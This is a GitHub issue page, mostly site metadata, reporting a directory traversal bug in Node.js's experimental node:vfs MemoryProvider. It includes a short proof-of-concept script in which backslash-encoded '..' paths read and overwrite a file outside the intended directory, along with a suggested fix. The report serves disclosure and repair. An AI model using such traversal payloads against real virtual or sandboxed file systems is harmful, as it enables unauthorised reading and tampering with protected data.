Title: node:vfs MemoryProvider: backslash in path allows directory traversal · Issue #64129 · nodejs/node · GitHub
Open Graph Title: node:vfs MemoryProvider: backslash in path allows directory traversal · Issue #64129 · nodejs/node
X Title: node:vfs MemoryProvider: backslash in path allows directory traversal · Issue #64129 · nodejs/node
Description: Environment Node.js: v27.0.0-nightly20260625c5635b82c9 Flag: --experimental-vfs OS: Linux Description MemoryProvider#normalizePath() in lib/internal/vfs/providers/memory.js converts backslashes to forward slashes before calling pathPosix...
Open Graph Description: Environment Node.js: v27.0.0-nightly20260625c5635b82c9 Flag: --experimental-vfs OS: Linux Description MemoryProvider#normalizePath() in lib/internal/vfs/providers/memory.js converts backslashes to ...
X Description: Environment Node.js: v27.0.0-nightly20260625c5635b82c9 Flag: --experimental-vfs OS: Linux Description MemoryProvider#normalizePath() in lib/internal/vfs/providers/memory.js converts backslashes to ...
Opengraph URL: https://github.com/nodejs/node/issues/64129
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"node:vfs MemoryProvider: backslash in path allows directory traversal","articleBody":"## Environment\n- Node.js: v27.0.0-nightly20260625c5635b82c9\n- Flag: `--experimental-vfs`\n- OS: Linux\n\n## Description\n\n`MemoryProvider#normalizePath()` in `lib/internal/vfs/providers/memory.js` converts backslashes to forward slashes before calling `pathPosix.normalize()`. This allows `..` traversal via backslash-encoded paths, bypassing directory isolation within the VFS virtual tree.\n\n**Root cause** (`lib/internal/vfs/providers/memory.js`):\n```js\nlet normalized = StringPrototypeReplaceAll(path, '\\\\', '/');\nreturn pathPosix.normalize(normalized); // resolves .. after backslash→/ conversion\n```\n\n## Reproducer\n\n```js\n// node --experimental-vfs poc.js\nconst vfs = require('node:vfs');\nconst fs = vfs.create(new vfs.MemoryProvider());\n\nfs.mkdirSync('/admin');\nfs.writeFileSync('/admin/secret', 'CONFIDENTIAL');\nfs.mkdirSync('/user/data', { recursive: true });\nfs.writeFileSync('/user/data/public.txt', 'public');\n\n// Read traversal: /user/data\\..\\..\\admin/secret → /admin/secret\nconsole.log(fs.readFileSync('/user/data\\\\..\\\\..\\\\admin/secret', 'utf8'));\n// Output: CONFIDENTIAL\n\n// Write traversal\nfs.writeFileSync('/user/data\\\\..\\\\..\\\\admin/secret', 'OVERWRITTEN');\nconsole.log(fs.readFileSync('/admin/secret', 'utf8'));\n// Output: OVERWRITTEN\n```\n\n## Expected behavior\nPaths containing backslashes should either be rejected or treated as literal filename characters (as Linux does), not converted to path separators.\n\n## Suggested fix\nRemove the backslash-to-slash conversion in `#normalizePath()`, or reject paths containing backslashes with an `EINVAL` error.","author":{"url":"https://github.com/jojin1709","@type":"Person","name":"jojin1709"},"datePublished":"2026-06-25T12:00:14.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":0},"url":"https://github.com/64129/node/issues/64129"}
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:f2147c9c-c6c9-c625-d7d8-7f2c4d692cdd |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | B74C:391A54:13EE481:1BAD49D:6A4DEC40 |
| html-safe-nonce | b6becf8b9e17717c82819173b4dd0bc643c60d43a8e4964e8134d16c56808946 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNzRDOjM5MUE1NDoxM0VFNDgxOjFCQUQ0OUQ6NkE0REVDNDAiLCJ2aXNpdG9yX2lkIjoiMTYzNDk5ODE1MzM0MDkwNjU2MCIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9 |
| visitor-hmac | b281633efd5d018a193bda9fa7b924f4e58bf587be4bedef6ff257e0a573b899 |
| hovercard-subject-tag | issue:4743581265 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/nodejs/node/64129/issue_layout |
| twitter:image | https://opengraph.githubassets.com/1e1a2f98d78eb93637209cd090f211b15003f7ce6e2a3452a3792f09998b6fb9/nodejs/node/issues/64129 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/1e1a2f98d78eb93637209cd090f211b15003f7ce6e2a3452a3792f09998b6fb9/nodejs/node/issues/64129 |
| og:image:alt | Environment Node.js: v27.0.0-nightly20260625c5635b82c9 Flag: --experimental-vfs OS: Linux Description MemoryProvider#normalizePath() in lib/internal/vfs/providers/memory.js converts backslashes to ... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | jojin1709 |
| hostname | github.com |
| expected-hostname | github.com |
| None | 06b8a6144231bf3a234f1c2e9993861e07ce98a905912b114aa386c2d7e84b33 |
| turbo-cache-control | no-preview |
| go-import | github.com/nodejs/node git https://github.com/nodejs/node.git |
| octolytics-dimension-user_id | 9950313 |
| octolytics-dimension-user_login | nodejs |
| octolytics-dimension-repository_id | 27193779 |
| octolytics-dimension-repository_nwo | nodejs/node |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 27193779 |
| octolytics-dimension-repository_network_root_nwo | nodejs/node |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 1d344bdb7547fe6bca17a59bb2b8aac3dc9532a0 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
Links:
Viewport: width=device-width